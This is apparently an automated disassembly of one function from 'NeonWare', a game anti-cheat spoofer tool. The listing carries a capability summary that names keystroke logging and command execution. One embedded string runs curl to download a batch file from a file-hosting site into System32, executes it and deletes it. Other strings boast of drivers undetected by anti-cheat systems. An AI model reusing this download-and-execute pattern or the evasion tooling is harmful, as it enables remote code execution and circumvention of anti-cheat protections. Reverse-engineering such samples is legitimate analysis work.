Function at 0x140038010
Capabilities:
Create process on windows
Delete file
Execute command
Log keystrokes via polling
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5d8]
sub rsp, 0x6b0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140092a00]
xor rax, rsp
mov qword [rbp + 0x500], rax
xor r14d, r14d
call fcn.140030630
mov qword [rbp + 0x1d0], r14
mov dword [rbp + 0x1c0], 0x50
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov qword [rbp + 0x1f0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x1e8], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x1e0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x208], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x1d8], rax
lea rax, [0x140039b90]
mov qword [rbp + 0x1c8], rax
lea rdi, str.NeonWare
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x1f8], r14
mov dword [rbp + 0x1c4], 3
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r15d, 1
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
mov rcx, qword [rbp + 0x1d8]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, 0x80000000
mov r8, rdi
mov rdx, qword [rbp + 0x200]
mov ecx, 0x8000028
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rsi, rax
mov qword [rbp + 0x70], rax
lea r9d, [r14 + 2]
mov r8b, 0xff
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140042dd0]
movdqu xmmword [rbp + 0x330], xmm0
lea rdx, [rbp + 0x330]
mov rcx, rsi
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov qword [rbp + 0x184], r14
mov qword [rbp + 0x198], 2
mov qword [rbp + 0x1b0], 2
mov qword [rbp + 0x170], r14
mov dword [rbp + 0x180], 0x1c
mov dword [rbp + 0x178], 0x3c
mov dword [rbp + 0x17c], r15d
mov dword [rbp + 0x194], 0x20
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x18c], r15
mov qword [rbp + 0x1a8], r15
mov dword [rbp + 0x340], 0xb000
mov dword [rbp + 0x344], 0xa000
lea rbx, [0x140092dc0]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x218]
mov qword [rsp + 0x50], rax
lea rdi, [0x140092db8]
mov qword [rsp + 0x48], rdi
lea r12, [0x140092dc8]
mov qword [rsp + 0x40], r12
lea rax, [rbp + 0x170]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
cmp eax, 0x887a0004
jne 0x140038302
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x218]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r12
lea rax, [rbp + 0x170]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x340]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r14 + 5]
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
je 0x140038324
call fcn.140037cd0
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x200]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x140039b1c
call fcn.140037d80
mov edx, 0xa
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], 0x10
mov edx, 0x37b8
mov r9d, 8
mov r8d, 0x434
lea rcx, str.1.89.2
call fcn.140008000
xor ecx, ecx
call fcn.140007b20
call fcn.14000a860
or dword [rax], r15d
xor ecx, ecx
call fcn.140026c50
mov edx, 2
mov rcx, rsi
call qword [sym.imp.USER32.dll_MonitorFromWindow]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x278], xmm0
movups xmmword [rbp + 0x288], xmm0
mov qword [rbp + 0x298], rcx
mov dword [rbp + 0x278], 0x28
lea rdx, [rbp + 0x278]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMonitorInfoW]
mov eax, dword [rbp + 0x288]
sub eax, dword [rbp + 0x280]
cmp eax, 0x438
jle 0x14003840e
lea rcx, [rbp + 0x2a0]
call fcn.14001b310
mov dword [rbp + 0x2b4], 0x41d00000
call fcn.14000a860
lea rdx, [rbp + 0x2a0]
mov rcx, qword [rax + 0x50]
call fcn.14001bd90
call fcn.14000a860
mov qword [rax + 0x18], r14
call fcn.14000a860
mov rdi, rax
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call fcn.140021c80
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
movss xmm3, dword [0x14003e09c]
mov r8d, 0x13368
lea rdx, [0x14005d370]
mov rcx, rbx
call fcn.14001c660
mov qword [0x140092e50], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.140021c80
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
movss xmm6, dword [0x14003e0ac]
movaps xmm3, xmm6
mov r8d, 0x13328
lea rdx, [0x14004a040]
mov rcx, rbx
call fcn.14001c660
mov qword [0x140092e48], rax
mov qword [rsp + 0x20], r14
xor r9d, r9d
movaps xmm2, xmm6
lea rdx, str.C:WindowsFontsImpact.ttf
mov rcx, qword [rdi + 0x50]
call fcn.14001c090
mov qword [0x140092e00], rax
cmp qword [0x140092e18], r14
jne 0x1400384fe
mov qword [rsp + 0x30], r14
lea rax, [0x140092e18]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0xfb
lea rdx, [0x1400706e0]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140092e28], r14
jne 0x140038544
mov qword [rsp + 0x30], r14
lea rax, [0x140092e28]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0xa7
lea rdx, [0x1400707e0]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140092e40], r14
jne 0x14003858a
mov qword [rsp + 0x30], r14
lea rax, [0x140092e40]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0x1722e
lea rdx, [0x140070890]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140092e30], r14
jne 0x1400385d0
mov qword [rsp + 0x30], r14
lea rax, [0x140092e30]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0x148
lea rdx, [0x140087ac0]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140092e38], r14
jne 0x140038616
mov qword [rsp + 0x30], r14
lea rax, [0x140092e38]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0x376
lea rdx, [0x140087c10]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140092e20], r14
jne 0x14003865c
mov qword [rsp + 0x30], r14
lea rax, [0x140092e20]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0x24ae
lea rdx, [0x140087f90]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140092e10], r14
jne 0x1400386a2
mov qword [rsp + 0x30], r14
lea rax, [0x140092e10]
mov qword [rsp + 0x28], rax
mov rax, qword [0x140092df8]
mov qword [rsp + 0x20], rax
lea r9, [0x1400929b8]
mov r8d, 0x8574
lea rdx, [0x14008a440]
mov rcx, qword [0x140092db8]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
mov rcx, rsi
call fcn.140030760
mov rdx, qword [0x140092dc0]
mov rcx, qword [0x140092db8]
call fcn.14002f610
mov byte [0x140092dd8], r15b
xor r12b, r12b
movss xmm10, dword [0x14003e06c]
movss xmm11, dword [0x14003e0cc]
movss xmm12, dword [0x14003e088]
xorps xmm8, xmm8
movss xmm14, dword [0x140042db4]
movss xmm13, dword [0x14003e08c]
movss xmm15, dword [0x140042da8]
movss xmm9, dword [0x14003e098]
mov ebx, r15d
nop dword [rax]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140038776
nop dword [rax]
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx r12d, r12b
cmp dword [rbp + 0x178], 0x12
cmove r12d, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x170]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140038730
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
movzx r12d, r12b
cmovne r12d, ebx
mov rcx, qword [0x140092de0]
test rcx, rcx
je 0x1400387d9
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1400387d2
lea rdx, [rbp + 0x218]
mov rcx, qword [0x140092de0]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [0x140092dec]
cmp dword [rbp + 0x218], eax
jne 0x1400387d2
mov eax, dword [0x140092de8]
mov rcx, qword [0x140092de0]
jmp 0x1400387e7
mov rcx, qword [0x140092de0]
mov eax, dword [0x140092de8]
test eax, eax
jne 0x140039acf
test r12b, r12b
jne 0x140039acf
test rcx, rcx
je 0x140038847
test eax, eax
je 0x140038847
lea rdx, [rbp + 0x248]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [rbp + 0x250]
mov r8d, dword [rbp + 0x248]
sub ecx, r8d
sub ecx, 5
mov eax, dword [rbp + 0x254]
mov r9d, dword [rbp + 0x24c]
sub eax, r9d
sub eax, 0x1d
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x7d
lea rdx, [rbp + 0x380]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x14003891b
mov r8d, 0x7d
lea rdx, [rbp + 0x400]
mov rcx, qword [0x140092de0]
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x14003891b
mov r8d, 0x7d
lea rdx, [rbp + 0x480]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x14003891b
lea rax, [rbp + 0x380]
lea r8, [rbp + 0x400]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400388d3
inc rax
test ecx, ecx
jne 0x1400388c0
test edx, edx
je 0x14003897f
lea rax, [rbp + 0x380]
lea r8, [rbp + 0x480]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140038903
inc rax
test ecx, ecx
jne 0x1400388f0
test edx, edx
je 0x14003897f
mov edx, 0xffffffec
mov r8d, 0x800a8
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongW]
cmp dword [0x140092de8], 0
je 0x14003897f
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
mov rcx, qword [0x140092dc0]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140092dd0]
mov edx, ebx
call qword [rax + 0x108]
mov rcx, qword [0x140092dc0]
mov rax, qword [rcx]
lea r8, [rbp + 0x348]
mov rdx, qword [0x140092dd0]
call qword [rax + 0x190]
mov rcx, qword [0x140092dc8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, ebx
call qword [rax + 0x40]
jmp 0x140038710
call fcn.14002f890
call fcn.1400308f0
call fcn.140010560
mov r13, qword [0x140092cc8]
call fcn.14000ad40
movaps xmm0, xmmword [0x14003e190]
movups xmmword [rax + 0xf4], xmm0
movaps xmm1, xmm0
movups xmmword [rax + 0x114], xmm0
xorps xmm0, xmm0
movups xmmword [rax + 0x124], xmm0
mov dword [rax + 0x2c], 0x41400000
mov dword [rax + 0x10], 0x40c00000
mov qword [rax + 8], 0
call fcn.14000ad40
mov dword [rax + 0x4c], 0x41700000
mov dword [rax + 0x50], 0x41700000
mov dword [rbp - 0x80], 0x44160000
mov dword [rbp - 0x7c], 0x43e60000
xor edx, edx
lea rcx, [rbp - 0x80]
call fcn.140015c30
mov r8d, 3
lea rdx, [0x14005d368]
lea rcx, str.NeonWare_Temp_Spoofer
call fcn.140003c50
cmp byte [0x14005d368], 0
je 0x140039a2a
cmp byte [0x140092dd9], 0
jne 0x140038ab7
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov r8d, 0x25
lea rdx, str.https:__discord.com_invite_cGBeGjef6B
lea rcx, [rbp + 0x220]
call fcn.140037960
nop
lea rcx, [rbp + 0x220]
call fcn.140037df0
mov byte [0x140092dd9], 1
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x140038ab7
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038ab2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039aa3
call fcn.140039cf0
lea rcx, [rbp + 0x210]
call fcn.14000af50
lea rcx, [rbp + 0x340]
call fcn.14000a3c0
mov eax, dword [0x140092e64]
cmp dword [0x140092e08], eax
jne 0x140038ae3
movaps xmm6, xmm10
jmp 0x140038ae7
movaps xmm6, xmm11
call fcn.14000a860
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm12
mulss xmm0, xmm6
addss xmm0, dword [0x140092e5c]
comiss xmm8, xmm0
jbe 0x140038b0e
movaps xmm1, xmm8
jmp 0x140038b16
movaps xmm1, xmm10
minss xmm1, xmm0
movss dword [0x140092e5c], xmm1
mov eax, dword [0x140092e64]
cmp dword [0x140092e08], eax
jne 0x140038b32
movaps xmm7, xmm10
jmp 0x140038b36
movaps xmm7, xmm11
movaps xmm0, xmm14
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
movaps xmm6, xmm0
call fcn.14000a860
mulss xmm6, dword [rax + 0x10]
mulss xmm6, xmm7
addss xmm6, dword [0x140092e60]
comiss xmm8, xmm6
jbe 0x140038b64
movaps xmm1, xmm8
jmp 0x140038b6c
movaps xmm1, xmm10
minss xmm1, xmm6
movss dword [0x140092e60], xmm1
movss xmm0, dword [0x140092e5c]
ucomiss xmm0, xmm8
jp 0x140038b98
jne 0x140038b98
ucomiss xmm1, xmm8
jp 0x140038b98
jne 0x140038b98
mov eax, dword [0x140092e08]
mov dword [0x140092e64], eax
call fcn.14000af20
mov r15, rax
movaps xmm0, xmmword [0x14003c740]
movups xmmword [rbp + 0xe8], xmm0
lea rcx, [rbp + 0xe8]
call fcn.1400079e0
mov r14d, eax
movaps xmm0, xmmword [0x140042960]
movups xmmword [rbp + 0xf8], xmm0
lea rcx, [rbp + 0xf8]
call fcn.1400079e0
mov esi, eax
movaps xmm0, xmmword [0x140042960]
movups xmmword [rbp + 0x108], xmm0
lea rcx, [rbp + 0x108]
call fcn.1400079e0
mov edi, eax
movaps xmm0, xmmword [0x14003c740]
movups xmmword [rbp + 0x118], xmm0
lea rcx, [rbp + 0x118]
call fcn.1400079e0
mov ebx, eax
movaps xmm1, xmm10
mov ecx, 4
call fcn.14000a370
movss xmm3, dword [rbp + 0x214]
movaps xmm1, xmm3
addss xmm1, xmm12
movss xmm2, dword [rbp + 0x210]
movaps xmm0, xmm2
addss xmm0, dword [rbp + 0x340]
movss dword [rbp - 0x78], xmm0
movss dword [rbp - 0x74], xmm1
addss xmm2, xmm10
movss dword [rbp - 0x70], xmm2
movss dword [rbp - 0x6c], xmm3
mov dword [rsp + 0x48], 0xf0
movss dword [rsp + 0x40], xmm13
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x70]
mov rcx, r15
call fcn.14001dde0
call fcn.14000af20
mov r15, rax
movaps xmm0, xmmword [0x140042960]
movups xmmword [rbp + 0x128], xmm0
lea rcx, [rbp + 0x128]
call fcn.1400079e0
mov r14d, eax
movaps xmm0, xmmword [0x140042960]
movups xmmword [rbp + 0x138], xmm0
lea rcx, [rbp + 0x138]
call fcn.1400079e0
mov esi, eax
movaps xmm0, xmmword [0x14003c740]
movups xmmword [rbp + 0x148], xmm0
lea rcx, [rbp + 0x148]
call fcn.1400079e0
mov edi, eax
movaps xmm0, xmmword [0x14003c740]
movups xmmword [rbp + 0x158], xmm0
lea rcx, [rbp + 0x158]
call fcn.1400079e0
mov ebx, eax
movaps xmm1, xmm10
mov ecx, 4
call fcn.14000a370
movss xmm2, dword [rbp + 0x344]
movss xmm3, dword [rbp + 0x214]
addss xmm2, xmm3
movss xmm1, dword [rbp + 0x210]
movaps xmm0, xmm1
addss xmm0, xmm13
movss dword [rbp - 0x68], xmm0
movss dword [rbp - 0x64], xmm2
addss xmm1, xmm10
movss dword [rsp + 0x60], xmm1
movss dword [rsp + 0x64], xmm3
mov dword [rsp + 0x48], 0xf0
movss dword [rsp + 0x40], xmm13
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x60]
mov rcx, r15
call fcn.14001dde0
movss xmm1, dword [0x140092e5c]
mulss xmm1, dword [r13 + 0x37e0]
xor ecx, ecx
call fcn.140011f10
cmp dword [0x140092e64], 0
jne 0x1400399c5
call fcn.14000af20
mov rbx, rax
movaps xmm0, xmmword [0x140042de0]
movups xmmword [rbp + 0x78], xmm0
lea rcx, [rbp + 0x78]
call fcn.1400079e0
movss xmm3, dword [rbp + 0x214]
movaps xmm1, xmm3
addss xmm1, dword [0x140042da0]
movss xmm2, dword [rbp + 0x210]
movaps xmm0, xmm2
addss xmm0, dword [rbp + 0x340]
movss dword [rbp - 0x58], xmm0
movss dword [rbp - 0x54], xmm1
addss xmm3, dword [0x14003e17c]
addss xmm2, xmm12
movss dword [rbp - 0x50], xmm2
movss dword [rbp - 0x4c], xmm3
xor r13d, r13d
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm13
mov r9d, eax
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call fcn.14001dc30
call fcn.14000af20
mov rbx, rax
movaps xmm0, xmmword [0x140042de0]
movups xmmword [rbp + 0xd8], xmm0
lea rcx, [rbp + 0xd8]
call fcn.1400079e0
movss xmm1, dword [rbp + 0x344]
movss xmm3, dword [rbp + 0x214]
addss xmm1, xmm3
movss xmm2, dword [rbp + 0x210]
movaps xmm0, xmm2
addss xmm0, dword [0x140042da4]
movss dword [rbp - 0x48], xmm0
movss dword [rbp - 0x44], xmm1
addss xmm3, dword [0x140042da0]
addss xmm2, dword [0x14003e0b4]
movss dword [rbp - 0x40], xmm2
movss dword [rbp - 0x3c], xmm3
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm13
mov r9d, eax
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x40]
mov rcx, rbx
call fcn.14001dc30
call fcn.14000af20
mov rbx, rax
movaps xmm0, xmmword [0x140042de0]
movups xmmword [rbp + 0xc8], xmm0
lea rcx, [rbp + 0xc8]
call fcn.1400079e0
movss xmm3, dword [rbp + 0x214]
movaps xmm1, xmm3
addss xmm1, dword [0x140042dbc]
movss xmm2, dword [rbp + 0x210]
movaps xmm0, xmm2
addss xmm0, dword [0x140042da4]
movss dword [rbp - 0x38], xmm0
movss dword [rbp - 0x34], xmm1
addss xmm3, dword [0x140042db8]
addss xmm2, xmm12
movss dword [rbp - 0x30], xmm2
movss dword [rbp - 0x2c], xmm3
mov dword [rsp + 0x28], r13d
movss dword [rsp + 0x20], xmm13
mov r9d, eax
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.14001dc30
mov dword [rbp - 0x28], 0x420c0000
mov dword [rbp - 0x24], 0x43160000
lea rcx, [rbp - 0x28]
call fcn.1400158e0
call fcn.140006190
mov dword [rbp - 0x60], 0x41f00000
mov dword [rbp - 0x5c], 0x41f00000
cmp dword [0x140092e0c], r13d
sete r8b
lea r9, [rbp - 0x60]
mov rdx, qword [0x140092e30]
lea rcx, str.Home
call fcn.140036880
test al, al
je 0x140038fa1
mov eax, r13d
mov dword [0x140092e0c], eax
jmp 0x140038fa7
mov eax, dword [0x140092e0c]
mov dword [rbp - 0x18], 0x41f00000
mov dword [rbp - 0x14], 0x41f00000
cmp eax, 1
sete r8b
lea r9, [rbp - 0x18]
mov rdx, qword [0x140092e38]
lea rcx, str.Game
call fcn.140036880
mov ebx, 1
test al, al
je 0x140038fe2
mov dword [0x140092e0c], ebx
mov dword [rbp - 0x10], 0x41f00000
mov dword [rbp - 0xc], 0x43c08000
lea rcx, [rbp - 0x10]
call fcn.1400158e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
lea rdx, [rbp + 0x348]
mov ecx, 0x15
call fcn.140011d50
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
lea rdx, [rbp + 0x348]
mov ecx, 0x17
call fcn.140011d50
xorps xmm0, xmm0
movups xmmword [rbp + 0x348], xmm0
lea rdx, [rbp + 0x348]
mov ecx, 0x16
call fcn.140011d50
movaps xmm0, xmmword [0x14003c750]
movups xmmword [rbp + 0x348], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x220], xmm1
mov dword [rbp - 8], 0x3f800000
mov dword [rbp - 4], 0x3f800000
mov qword [rbp], r13
mov dword [rbp + 8], 0x42000000
mov dword [rbp + 0xc], 0x42000000
lea rax, [rbp + 0x348]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffffffff
lea r9, [rbp - 8]
lea r8, [rbp]
lea rdx, [rbp + 8]
mov rcx, qword [0x140092e20]
call fcn.1400350e0
test al, al
jne 0x140039ac6
mov ecx, ebx
call fcn.1400118c0
call fcn.140008fa0
mov dword [rbp + 0x10], 0x42f00000
mov dword [rbp + 0x14], 0x41f00000
lea rcx, [rbp + 0x10]
call fcn.1400158e0
call fcn.140006190
mov qword [rbp + 0x18], r13
cmp dword [0x140092e0c], r13d
sete cl
xor r9d, r9d
lea r8, [rbp + 0x18]
lea rdx, str.Device
call fcn.140036230
test al, al
je 0x140039116
mov dword [0x140092e58], r13d
mov qword [rbp + 0x20], r13
cmp dword [0x140092e0c], 1
sete cl
xor r9d, r9d
lea r8, [rbp + 0x20]
lea rdx, str.Spoofer
call fcn.140036230
test al, al
je 0x140039141
mov dword [0x140092e58], ebx
call fcn.140008fa0
cmp dword [0x140092e0c], r13d
jne 0x1400391ec
mov dword [rbp + 0x28], 0x42f00000
mov dword [rbp + 0x2c], 0x42dc0000
lea rcx, [rbp + 0x28]
call fcn.1400158e0
call fcn.140006190
mov dword [rbp + 0x30], 0x43e60000
mov dword [rbp + 0x34], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0x30]
lea rdx, str.Added_AppleCheats_Cleaner_with_Mac_Changer
lea rcx, str.NeonWare_Update:
call fcn.140034620
mov dword [rbp + 0x38], 0x43e60000
mov dword [rbp + 0x3c], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0x38]
lea rdx, str.Updated_Drivers__now_UD_on_EAC_and_BE
lea rcx, str.NeonWare_Update:
call fcn.140034620
mov dword [rbp + 0x40], 0x43e60000
mov dword [rbp + 0x44], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0x40]
lea rdx, str.Improved_.sys_file_mapper
lea rcx, str.NeonWare_Update:
call fcn.140034620
call fcn.140008fa0
cmp dword [0x140092e0c], 1
jne 0x1400399ca
call fcn.14000ad60
movss xmm3, dword [rbp + 0x214]
movaps xmm1, xmm3
addss xmm1, xmm15
movss xmm2, dword [rbp + 0x210]
movaps xmm0, xmm2
addss xmm0, dword [0x140042dac]
movss dword [rbp + 0x168], xmm0
movss dword [rbp + 0x16c], xmm1
addss xmm3, dword [0x140042db0]
addss xmm2, dword [0x140042dc0]
movss dword [rbp + 0x240], xmm2
movss dword [rbp + 0x244], xmm3
mov dword [rbp + 0x48], 0x43020000
mov dword [rbp + 0x4c], 0x439b0000
lea rcx, [rbp + 0x48]
call fcn.1400158e0
call fcn.140006190
call fcn.14000af20
mov rbx, rax
movaps xmm0, xmmword [0x14003c740]
movups xmmword [rbp + 0xb8], xmm0
lea rcx, [rbp + 0xb8]
call fcn.1400079e0
movss xmm0, dword [0x14003e078]
movss dword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r13d
movss xmm0, dword [0x14003e084]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x240]
lea rdx, [rbp + 0x168]
mov rcx, rbx
call fcn.14001db20
mov dword [rbp + 0x58], 0x43e10000
mov dword [rbp + 0x5c], 0x42200000
lea rdx, [rbp + 0x58]
lea rcx, str.Deep_Clean
call fcn.140033ad0
test al, al
je 0x1400392f2
mov byte [0x140092ddb], 1
mov dword [rbp + 0x60], 0x435c0000
mov dword [rbp + 0x64], 0x42200000
lea rdx, [rbp + 0x60]
lea rcx, str.Temp_Spoof
call fcn.140033ad0
test al, al
je 0x14003931b
mov byte [0x140092dda], 1
movaps xmm1, xmm9
movaps xmm0, xmm8
call fcn.140014f80
mov dword [rbp + 0x68], 0x435c0000
mov dword [rbp + 0x6c], 0x42200000
lea rdx, [rbp + 0x68]
lea rcx, str.Check_Serials
call fcn.140033ad0
test al, al
je 0x140039351
mov byte [0x140092ddc], 1
cmp byte [0x140092ddb], r13b
je 0x140039413
lea rcx, str.curl_https:__files.catbox.moe_gdufyk.bat___output_C:WindowsSystem32download_apple.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32download_apple.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32download_apple.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x140092ddb], r13b
call fcn.14000a1c0
mov rbx, rax
movaps xmm0, xmmword [0x14003c750]
movups xmmword [rbp + 0xa8], xmm0
lea rcx, [rbp + 0xa8]
call fcn.1400079e0
movss xmm1, dword [rbp + 0x16c]
addss xmm1, xmm9
movss xmm0, dword [rbp + 0x168]
addss xmm0, xmm9
movss dword [rsp + 0x68], xmm0
movss dword [rsp + 0x6c], xmm1
mov qword [rsp + 0x20], r13
lea r9, str.Launching_Cleaner...__nDone_
mov r8d, eax
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.1400202f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
